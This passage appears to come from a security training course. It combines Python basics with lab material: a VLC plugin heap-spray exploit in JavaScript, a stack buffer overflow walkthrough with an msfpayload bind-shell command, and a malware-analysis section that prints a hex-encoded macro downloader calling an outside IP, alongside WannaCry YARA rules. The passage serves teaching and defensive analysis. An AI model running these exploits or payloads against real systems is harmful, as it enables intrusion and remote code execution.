4511smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
4512
4513Exploit Scripts
4514- ffvlc
4515
4516ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
4517
4518---------------------------Type This-----------------------------------
4519
4520perl daemon.pl vlc0.html
4521-----------------------------------------------------------------------
4522
4523ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
4524Browse to http://your_host_ip_address:8080/
4525
4526vlc0.html
4527---------
4528<script>
4529 var buf = "";
4530 for(i = 0; i < 1250; i++)
4531 buf += unescape("%41%41%41%41");
4532 var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
4533 document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
4534</script>
4535
4536vlc1.html
4537---------
4538<script>
4539
4540 // shellcode created in heap memory
4541 var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
4542
4543 // 800K block of NOPS
4544 var nop = unescape("%u9090%u09090"); // 4 NOPS
4545 while(nop.length < 0xc0000) {
4546 nop += nop;
4547 }
4548
4549 // spray the heap with NOP+shellcode
4550 var memory = new Array();
4551 for(i = 0; i < 50; i++) {
4552 memory[i] = nop + shellcode;
4553 }
4554
4555 // build the exploit payload
4556 var buf = "";
4557 for(i = 0; i < 1250; i++)
4558 buf += unescape("%41%41%41%41");
4559 var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
4560
4561 // trigger the exploit
4562 document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
4563</script>
4564
4565---------------------------Type This-----------------------------------
4566
4567perl daemon.pl vlc1.html
4568-----------------------------------------------------------------------
4569
4570Search for where our NOPS+shellcode lies in the heap
4571
4572s 0 l fffffff 90 90 90 90 cc cc cc cc
4573
45740:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
457503dffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4576040ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4577043ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4578046ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4579049ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
458004cffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
458104fffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4582052ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4583055ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4584058ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
458505bffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
458605effffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4587061ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4588064ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4589067ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
459006affffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4591
4592Edit vlc2.html
4593replace %41%41%41%41 with %07%07%07%07
4594
4595(928.fd0): Break instruction exception - code 80000003 (first chance)
4596eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
4597eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0 nv up ei pl nz ac pe nc
4598cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
459907100000 cc int 3
46000:019> u
460107100000 cc int 3
460207100001 cc int 3
460307100002 cc int 3
460407100003 cc int 3
460507100004 cc int 3
460607100005 cc int 3
460707100006 cc int 3
460807100007 cc int 3
4609
4610Create vlc3.html (Copy vlc2.html to vlc3.html)
4611----------------------------------------------
4612Win32 Reverse Shell
4613- no restricted characters
4614- Encoder NONE
4615- use the Javascript encoded payload generated by msfweb
4616
4617##########################
4618# Python Lambda Function #
4619##########################
4620
4621
4622Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
4623
4624lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
4625
4626Let’s take an example:
4627
4628Consider a function multiply()
4629
4630def multiply(x, y):
4631 return x * y
4632
4633
4634This function is too small, so let’s convert it into a lambda function.
4635
4636To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
4637
4638---------------------------Type This-----------------------------------
4639
4640>>> r = lambda x, y: x * y
4641>>> r(12,3)
464236
4643-----------------------------------------------------------------------
4644
4645Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
4646
4647You don’t need to assign lambda function to a variable.
4648
4649---------------------------Type This-----------------------------------
4650
4651>>> (lambda x, y: x * y)(3,4)
465212
4653-----------------------------------------------------------------------
4654
4655Note that lambda function can’t contain more than one expression.
4656
4657
4658
4659##################
4660# Python Classes #
4661##################
4662
4663
4664****************
4665* Introduction *
4666****************
4667
4668Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
4669
4670You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
4671
4672
4673***********************
4674* Real World Examples *
4675***********************
4676
4677
4678This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
4679
4680Start off by thinking about a web vuln scanner.
4681
4682What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
4683
4684So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
4685
4686
4687******************
4688* A Python Class *
4689******************
4690
4691
4692Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
4693
4694---------------------------Paste This-----------------------------------
4695
4696class WebVulnScanner(object):
4697 make = 'Acunetix'
4698 model = '10.5'
4699 year = '2014'
4700 version ='Consultant Edition'
4701
4702 profile = 'High Risk'
4703
4704
4705 def crawling(self, speed):
4706 print("Crawling at %s" % speed)
4707
4708
4709 def scanning(self, speed):
4710 print("Scanning at %s" % speed)
4711-----------------------------------------------------------------------
4712
4713
4714Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
4715
4716From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
4717
4718
4719*****************
4720* What is Self? *
4721*****************
4722
4723Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
4724
4725---------------------------Type This-----------------------------------
4726
4727print("Your %s is crawling at %s" % (self.model, speed))
4728-----------------------------------------------------------------------
4729
4730It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
4731
4732
4733*****************
4734* Using A Class *
4735*****************
4736
4737
4738You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
4739---------------------------Type This-----------------------------------
4740
4741myscanner = WebVulnScanner()
4742-----------------------------------------------------------------------
4743
4744
4745That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
4746
4747Get your scanner object to print out its make and model.
4748---------------------------Type This-----------------------------------
4749
4750print("%s %s" % (myscanner.make, myscanner.model))
4751-----------------------------------------------------------------------
4752
4753The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
4754---------------------------Type This-----------------------------------
4755
4756myscanner.scanning('10req/sec')
4757-----------------------------------------------------------------------
4758
4759What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
4760---------------------------Type This-----------------------------------
4761
4762print("The profile of my scanner settings is %s" % myscanner.profile)
4763myscanner.profile = "default"
4764print("The profile of my scanner settings is %s" % myscanner.profile)
4765-----------------------------------------------------------------------
4766
4767Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
4768---------------------------Type This-----------------------------------
4769
4770mynewscanner = WebVulnScanner()
4771print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
4772-----------------------------------------------------------------------
4773
4774That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
4775
4776
4777#########################################
4778# The self variable in python explained #
4779#########################################
4780
4781So lets start by making a class involving the self variable.
4782
4783A simple class :
4784
4785So here is our class:
4786---------------------------Paste This-----------------------------------
4787
4788class port(object):
4789 open = False
4790 def open_port(self):
4791 if not self.open:
4792 print("port open")
4793
4794-----------------------------------------------------------------------
4795
4796First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open†which is currently false. After that we assign it a function open_port which can only occur if “open†is False which means that the port is open.
4797
4798Making a Port:
4799
4800Now that we have made a class for a Port, lets actually make a port:
4801---------------------------Type This-----------------------------------
4802
4803x = port()
4804-----------------------------------------------------------------------
4805
4806Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
4807---------------------------Type This-----------------------------------
4808
4809x.open
4810-----------------------------------------------------------------------
4811
4812The above command is same as:
4813---------------------------Type This-----------------------------------
4814
4815port().open
4816-----------------------------------------------------------------------
4817
4818Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
4819---------------------------Type This-----------------------------------
4820
4821>>> x = port()
4822>>> x.open
4823False
4824>>> y = port()
4825>>> y.open = True
4826>>> y.open
4827True
4828>>> x.open
4829False
4830
4831-----------------------------------------------------------------------
4832The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
4833
4834---------------------------Paste This-----------------------------------
4835
4836class port(object):
4837 open = False
4838 def open_port(this):
4839 if not this.open:
4840 print("port open")
4841
4842-----------------------------------------------------------------------
4843
4844
4845
4846
4847
4848
4849##################################
4850# Day 3 Homework videos to watch #
4851##################################
4852Here is your first set of youtube videos that I'd like for you to watch:
4853https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
4854
4855
4856
4857
4858
4859
4860
4861
4862
4863
4864
4865
4866 #######################################
4867----------- ############### # Day 4: Malware analysis with Python # ############### -----------
4868 #######################################
4869
4870
4871###############################
4872# Lesson 28: Malware Analysis #
4873###############################
4874
4875
4876
4877
4878################
4879# The Scenario #
4880################
4881You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
4882
4883
4884The fastest thing you can do is perform static analysis.
4885---------------------------Type This-----------------------------------
4886
4887sudo pip install olefile
4888 infosecaddicts
4889
4890mkdir ~/Desktop/oledump
4891
4892cd ~/Desktop/oledump
4893
4894wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
4895
4896unzip oledump_V0_0_22.zip
4897
4898wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
4899
4900unzip 064016.zip
4901 infected
4902
4903python oledump.py 064016.doc
4904
4905python oledump.py 064016.doc -s A4 -v
4906-----------------------------------------------------------------------
4907
4908- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
4909- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
4910
4911---------------------------Type This-----------------------------------
4912
4913python oledump.py 064016.doc -s A5 -v
4914-----------------------------------------------------------------------
4915
4916- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
4917
4918---------------------------Type This-----------------------------------
4919
4920python oledump.py 064016.doc -s A3 -v
4921 -----------------------------------------------------------------------
4922
4923- Look for "GVhkjbjv" and you should see:
4924
4925636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
4926
4927- Take that long blob that starts with 636D and finishes with 653B and paste it in:
4928http://www.rapidtables.com/convert/number/hex-to-ascii.htm
4929
4930
4931
4932###################
4933# Static Analysis #
4934###################
4935
4936- After logging please open a terminal window and type the following commands:
4937---------------------------Type This-----------------------------------
4938
4939cd Desktop/
4940
4941wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
4942
4943unzip wannacry.zip
4944 infected
4945
4946file wannacry.exe
4947
4948mv wannacry.exe malware.pdf
4949
4950file malware.pdf
4951
4952mv malware.pdf wannacry.exe
4953
4954hexdump -n 2 -C wannacry.exe
4955
4956-----------------------------------------------------------------------
4957
4958
4959
4960***What is '4d 5a' or 'MZ'***
4961Reference:
4962http://www.garykessler.net/library/file_sigs.html
4963
4964
4965
4966---------------------------Type This-----------------------------------
4967
4968
4969objdump -x wannacry.exe
4970
4971strings wannacry.exe
4972
4973strings --all wannacry.exe | head -n 6
4974
4975strings wannacry.exe | grep -i dll
4976
4977strings wannacry.exe | grep -i library
4978
4979strings wannacry.exe | grep -i reg
4980
4981strings wannacry.exe | grep -i key
4982
4983strings wannacry.exe | grep -i rsa
4984
4985strings wannacry.exe | grep -i open
4986
4987strings wannacry.exe | grep -i get
4988
4989strings wannacry.exe | grep -i mutex
4990
4991strings wannacry.exe | grep -i irc
4992
4993strings wannacry.exe | grep -i join
4994
4995strings wannacry.exe | grep -i admin
4996
4997strings wannacry.exe | grep -i list
4998
4999
5000
5001-----------------------------------------------------------------------
5002
5003
5004
5005
5006
5007
5008
5009
5010Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
5011
5012Quick Google search for "wannacry ransomeware analysis"
5013
5014
5015Reference
5016https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
5017
5018- Yara Rule -
5019
5020
5021Strings:
5022$s1 = “Ooops, your files have been encrypted!†wide ascii nocase
5023$s2 = “Wanna Decryptor†wide ascii nocase
5024$s3 = “.wcry†wide ascii nocase
5025$s4 = “WANNACRY†wide ascii nocase
5026$s5 = “WANACRY!†wide ascii nocase
5027$s7 = “icacls . /grant Everyone:F /T /C /Q†wide ascii nocase
5028
5029
5030
5031
5032
5033
5034
5035
5036Ok, let's look for the individual strings
5037
5038---------------------------Type This-----------------------------------
5039
5040
5041strings wannacry.exe | grep -i ooops
5042
5043strings wannacry.exe | grep -i wanna
5044
5045strings wannacry.exe | grep -i wcry
5046
5047strings wannacry.exe | grep -i wannacry
5048
5049strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
5050
5051
5052-----------------------------------------------------------------------
5053
5054
5055
5056
5057
5058####################################
5059# Tired of GREP - let's try Python #
5060####################################
5061Decided to make my own script for this kind of stuff in the future. I
5062
5063Reference1:
5064https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
5065
5066This is a really good script for the basics of static analysis
5067
5068Reference:
5069https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
5070
5071
5072This is really good for showing some good signatures to add to the Python script
5073
5074
5075Here is my own script using the signatures (started this yesterday, but still needs work):
5076https://pastebin.com/guxzCBmP
5077
5078
5079---------------------------Type This-----------------------------------
5080
5081
5082sudo apt install -y python-pefile
5083 infosecaddicts
5084
5085
5086
5087wget https://pastebin.com/raw/guxzCBmP
5088
5089
5090mv guxzCBmP am.py
5091
5092
5093vi am.py
5094
5095python am.py wannacry.exe
5096
5097
5098-----------------------------------------------------------------------
5099
5100
5101
5102
5103
5104
5105
5106
5107##############
5108# Yara Ninja #
5109##############
5110 ---------------------------Type This-----------------------------------
5111
5112cd ~/Desktop
5113
5114sudo apt-get remove -y yara
5115 infosecaddcits
5116
5117sudo apt -y install libtool
5118 infosecaddicts
5119
5120wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
5121
5122
5123unzip v3.6.0.zip
5124
5125cd yara-3.6.0
5126
5127./bootstrap.sh
5128
5129./configure
5130
5131make
5132
5133sudo make install
5134 infosecaddicts
5135
5136yara -v
5137
5138cd ~/Desktop
5139
5140
5141-----------------------------------------------------------------------
5142
5143
5144NOTE:
5145McAfee is giving these yara rules - so add them to the hashes.txt file
5146
5147Reference:
5148https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
5149
5150----------------------------------------------------------------------------
5151rule wannacry_1 : ransom
5152{
5153 meta:
5154 author = "Joshua Cannell"
5155 description = "WannaCry Ransomware strings"
5156 weight = 100
5157 date = "2017-05-12"
5158
5159 strings:
5160 $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
5161 $s2 = "Wanna Decryptor" wide ascii nocase
5162 $s3 = ".wcry" wide ascii nocase
5163 $s4 = "WANNACRY" wide ascii nocase
5164 $s5 = "WANACRY!" wide ascii nocase
5165 $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
5166
5167 condition:
5168 any of them
5169}
5170
5171----------------------------------------------------------------------------
5172rule wannacry_2{
5173 meta:
5174 author = "Harold Ogden"
5175 description = "WannaCry Ransomware Strings"
5176 date = "2017-05-12"
5177 weight = 100
5178
5179 strings:
5180 $string1 = "msg/m_bulgarian.wnry"
5181 $string2 = "msg/m_chinese (simplified).wnry"
5182 $string3 = "msg/m_chinese (traditional).wnry"
5183 $string4 = "msg/m_croatian.wnry"
5184 $string5 = "msg/m_czech.wnry"
5185 $string6 = "msg/m_danish.wnry"
5186 $string7 = "msg/m_dutch.wnry"
5187 $string8 = "msg/m_english.wnry"
5188 $string9 = "msg/m_filipino.wnry"
5189 $string10 = "msg/m_finnish.wnry"
5190 $string11 = "msg/m_french.wnry"
5191 $string12 = "msg/m_german.wnry"
5192 $string13 = "msg/m_greek.wnry"
5193 $string14 = "msg/m_indonesian.wnry"
5194 $string15 = "msg/m_italian.wnry"
5195 $string16 = "msg/m_japanese.wnry"
5196 $string17 = "msg/m_korean.wnry"
5197 $string18 = "msg/m_latvian.wnry"
5198 $string19 = "msg/m_norwegian.wnry"
5199 $string20 = "msg/m_polish.wnry"
5200 $string21 = "msg/m_portuguese.wnry"
5201 $string22 = "msg/m_romanian.wnry"
5202 $string23 = "msg/m_russian.wnry"
5203 $string24 = "msg/m_slovak.wnry"
5204 $string25 = "msg/m_spanish.wnry"
5205 $string26 = "msg/m_swedish.wnry"
5206 $string27 = "msg/m_turkish.wnry"
5207 $string28 = "msg/m_vietnamese.wnry"
5208
5209
5210 condition:
5211 any of ($string*)
5212}
5213----------------------------------------------------------------------------
5214
5215
5216#######################
5217# External DB Lookups #
5218#######################
5219
5220Creating a malware database (sqlite)
5221---------------------------Type This-----------------------------------
5222
5223sudo apt install -y python-simplejson python-simplejson-dbg
5224 infosecaddicts
5225
5226
5227
5228wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
5229
5230
5231
5232python avsubmit.py -f wannacry.exe -e
5233
5234----------------------------------------------------------------------------
5235
5236Analysis of the file can be found at:
5237http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
5238
5239
5240
5241
5242
5243
5244
5245
5246
5247###############################
5248# Creating a Malware Database #
5249###############################
5250Creating a malware database (mysql)
5251-----------------------------------
5252- Step 1: Installing MySQL database
5253- Run the following command in the terminal:
5254---------------------------Type This-----------------------------------
5255
5256sudo apt install -y mysql-server
5257 infosecaddicts
5258
5259- Step 2: Installing Python MySQLdb module
5260- Run the following command in the terminal:
5261
5262sudo apt-get build-dep python-mysqldb
5263 infosecaddicts
5264
5265sudo apt install -y python-mysqldb
5266 infosecaddicts
5267
5268Step 3: Logging in
5269Run the following command in the terminal:
5270
5271mysql -u root -p (set a password of 'malware')
5272
5273- Then create one database by running following command:
5274
5275create database malware;
5276
5277exit;
5278
5279wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
5280
5281vi mal_to_db.py (fill in database connection information)
5282
5283python mal_to_db.py -i
5284
5285------- check it to see if the files table was created ------
5286
5287mysql -u root -p
5288 malware
5289
5290show databases;
5291
5292use malware;
5293
5294show tables;
5295
5296describe files;
5297
5298exit;
5299
5300-----------------------------------------------------------------------
5301
5302
5303- Now add the malicious file to the DB
5304---------------------------Type This-----------------------------------
5305
5306
5307python mal_to_db.py -f wannacry.exe -u
5308
5309-----------------------------------------------------------------------
5310
5311
5312- Now check to see if it is in the DB
5313--------------------------Type This-----------------------------------
5314
5315mysql -u root -p
5316 malware
5317
5318mysql> use malware;
5319
5320select id,md5,sha1,sha256,time FROM files;
5321
5322mysql> quit;
5323
5324-----------------------------------------------------------------------
5325
5326
5327
5328######################################
5329# PCAP Analysis with forensicPCAP.py #
5330######################################
5331---------------------------Type This-----------------------------------
5332
5333cd ~/Desktop
5334wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
5335sudo easy_install cmd2
5336
5337python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
5338
5339ForPCAP >>> help
5340
5341
5342Prints stats about PCAP
5343ForPCAP >>> stat
5344
5345
5346Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
5347ForPCAP >>> dns
5348
5349ForPCAP >>> show
5350
5351
5352Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
5353ForPCAP >>> dstports
5354
5355ForPCAP >>> show
5356
5357
5358Prints the number of ip source and store them.
5359ForPCAP >>> ipsrc
5360
5361
5362Prints the number of web's requests and store them
5363ForPCAP >>> web
5364
5365
5366Prints the number of mail's requests and store them
5367ForPCAP >>> mail
5368
5369-----------------------------------------------------------------------
5370
5371
5372
5373
5374
5375
5376##################################
5377# Day 4 Homework videos to watch #
5378##################################
5379Here is your first set of youtube videos that I'd like for you to watch:
5380https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
5381
5382
5383
5384
5385
5386
5387
5388
5389
5390
5391 ##########################################
5392----------- ############### # Day 4: Debugger automation with Python # ############### -----------
5393 ##########################################
5394
5395In this lab we are going to exploit the bufferoverflow in the program which is a simple tcp server using the strcpy in its code. Download the server's .exe file from here http://code.securitytube.net/Server-Strcpy.exe
5396
5397Run the server on windows machine.
5398
5399Connect to the server from an ubuntu machine using nc <ip-adress of windows> 10000. Send some character from there and see if it returns the same.
5400
5401
5402
5403It's a simple echo server. Reflects whatever you type in the input we send to this program, is stored using strcpy. Let us write a simple python program that sends a large input to the program and see if it can handle large inputs.
5404---------------------------Type This-----------------------------------
5405
5406vim strcpy.py
5407
5408./strcpy <server adress>
5409
5410-----------------------------------------------------------------------
5411
5412
5413On the server machine see if the server crashes and what error it shows.
5414
5415Now let's find out what happens behind the scenes when you run the python script against your echo server. When you do not have the source code of the program that you need to debug, the only way to do so is to take the binary, disassemble and debug it to actually see what is happening. The immunity debugger is the tool which does all that.
5416
5417Open the server.exe file in immunity debugger. It will show information about the binary in different sections including Registers [EIP, ESP, EBP, etc], the machine language equivalent and addresses of the binary with their values.
5418
5419Now press the run button and the binary will be in the “Running†state. Execute the strcpy.py script as done previously. The binary will crash again and immunity debugger will show it in “Paused†State. It will also show the stack with its values and ASCII equivalent which is seen as “AAAA...†as all the characters sent from the script are As, as shown in the figure below.
5420
5421
5422We can also write python scripts using the python shell provided by the Immunity Debugger. The scripts we write here need to be placed in “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands†directory, which will be automatically made available to immunity debugger at run-time.
5423
5424
5425Now open the python shell, Create “New Window†and save it as spse-demo in the PyCommands directory mentioned above.
5426
5427
5428
5429In order to leverage the rich set of APIs that Immunity provides, import the immlib which ships with the Immunity framework. At this instance write a simple script that simply prints hello in the main method. To run the script write the name of the script preceded by the exclamation mark e.g !spse-demo. You can also write to the Log window by:
5430imm.log(“Anything to logâ€)
5431
5432Now the problem with the debugger is that it prints all the messages at the end of the script execution, which is quite hectic if you are writing a long script which requires incremental updates. To serve the purpose use imm.updateLog() method so that the Log is updated instantly.
5433
5434Our command will also be visible in the List of PyCommands which are available in the Immunity.
5435
5436
5437To run a process we need to open the process in Immunity Debugger and run it as shown earlier, what if we want to run the same process programmatically.
5438
5439Create a new python script naming spse-pro.py similarly as in the previous example. Open the process by imm.openProcess(“path to the binaryâ€) e.g my binary was C:\Server-Strcpy.exe
5440
5441
5442Similarly, you can attach the Immunity Debugger to an already running process by the imm.Attach(pid) method.
5443
5444Now inside a running process we need to get a list of modules, and for each of these modules we need to get a set of properties like Name, Base Address, Entry Point, and Size of that process. Useful methods are getAllModules and its child methods which are elaborated in the Immunity's online documentation.
5445
5446
5447
5448
5449Now we will use the Immunity Debugger to actually exploit the buffer overflow.
5450
5451As we know the stack grows from high-memory to low-memory. When we send a large buffer to our program/binary the return address is over-written, the EIP ends up with a garbage value and the program crashed. The idea is to specially craft the buffer in a way to over-write the return address with a chosen value, which is the payload we want to execute on that machine.
5452
5453To start, we'll revisit our old python script and a metasploit utility patter_creat.rb to create a random pattern of 500 characters.
5454
5455
5456
5457Place this pattern in the python attack script, run the server in the Immunity, run the attack script. See that the binary has crashed and the EIP is populated with the value 6A413969. Now we need to find at which offset this value is in our pattern, pattern_offset.rb will server the purpose.
5458
5459
5460
5461From this we know the value from offset 268 precisely corrupts the EIP. Meaning we really don't care about the first 268 bytes of the buffer, what we need to focus is the return address.
5462
5463Now next to EIP there is ESP register, we will populate the ESP with our payload and place a jump ESP instruction in the EIP register. The OPCode for the JUMP ESP instruction is 71AB7BFB, which we will append to our buffer in reverse order, as the bytes are stored in reverse order in stack. For payload we use metsploit to generate our payload and encode it for x86 architecture. Following command will suffice
5464
5465---------------------------Type This-----------------------------------
5466
5467msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b “\x90†-t c
5468-----------------------------------------------------------------------
5469
5470This will generate a payload, append it to the buffer and run the script again.
5471
5472
5473
5474
5475
5476
5477
5478Python Quizzes:
5479---------------
5480https://www.tutorialspoint.com/python/python_online_quiz.htm
5481https://www.geeksforgeeks.org/python-gq/
5482https://www.programiz.com/python-programming/quiz
5483https://www.afterhoursprogramming.com/tutorial/python/python-quiz/
5484https://www.sanfoundry.com/1000-python-questions-answers/
5485http://www.mypythonquiz.com/
5486http://www.techbeamers.com/python-programming-quiz-for-beginners-part-1/